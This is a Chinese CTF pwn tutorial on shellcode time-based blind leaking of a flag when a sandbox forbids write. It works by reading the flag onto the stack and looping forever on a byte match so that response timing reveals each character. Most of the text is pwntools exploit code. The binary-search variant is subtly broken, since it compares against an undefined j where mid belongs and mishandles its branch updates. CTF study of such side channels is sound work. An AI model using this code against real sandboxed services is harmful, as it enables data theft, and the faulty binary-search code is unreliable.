shellcode时间盲注


原理

沙箱禁用write的时候可以通过shellcode逐位爆破,先将flag读到栈上,再依次爆破栈上每一位的内容,通过cmp比较的结果跳转到死循环,再根据接收数据的时间差判断是否进入死循环

shellcode

遍历字符集

flag出现的字符种类较少的时候使用,直接cmp判断相同的时候跳到死循环,即je,此时字符集中的顺序会影响效率

for i in range (len(flag),50):
    for j in charset:
        global r
        r = process('./pwn')
        sleep(3)
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            je $-2
            ret
        '''
        payload += asm(shellcode)
        try:
            r.sendlineafter('right', payload)
            start_time = time.time()
            r.clean(2)
            start_time = time.time() - start_time
            li('time = ' +  str(start_time) + '\n' + 'char = ' + str(j))
            r.close()
        except:
            pass
        else:
            if start_time > 2:
                flag += j
                break
        li('flag = ' + flag)
    if flag[-1]=="}":
        break

二分法

如果字符范围较大可以使用二分法进行优化,即利用ja在大于的时候跳转到死循环,遍历0x20-0x80

for i in range (len(flag),50):
	left = 0
	right = 127
    while left < right:
        global r
        r = process('./pwn')
        mid = (left + right) >> 1
        sleep(3)
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            ja $-2
            ret
        '''
        payload += asm(shellcode)
        try:
            r.sendlineafter('right', payload)
            start_time = time.time()
            r.clean(2)
            start_time = time.time() - start_time
            li('time = ' +  str(start_time) + '\n' + 'char = ' + str(j))
            r.close()
            if start_time > 2:
            	left = mid + 1
        except:
        	pass
        else:
            right = mid
        li('flag = ' + flag)
    flag += chr(left)
    if flag[-1]=="}":
        break

注意点

陷入死循环一次clean时间在2秒,除了跳转到死循环的,在比较时不相同也是有时间差的,远程打的越久时间差越大,这种时候可以通过:增加clean的次数,每增加一次死循环后的时间+2,或者把爆破出来的内容添加到flag中之后重启远程。爆破出来的值也不完全准确,需要多次测试。


  目录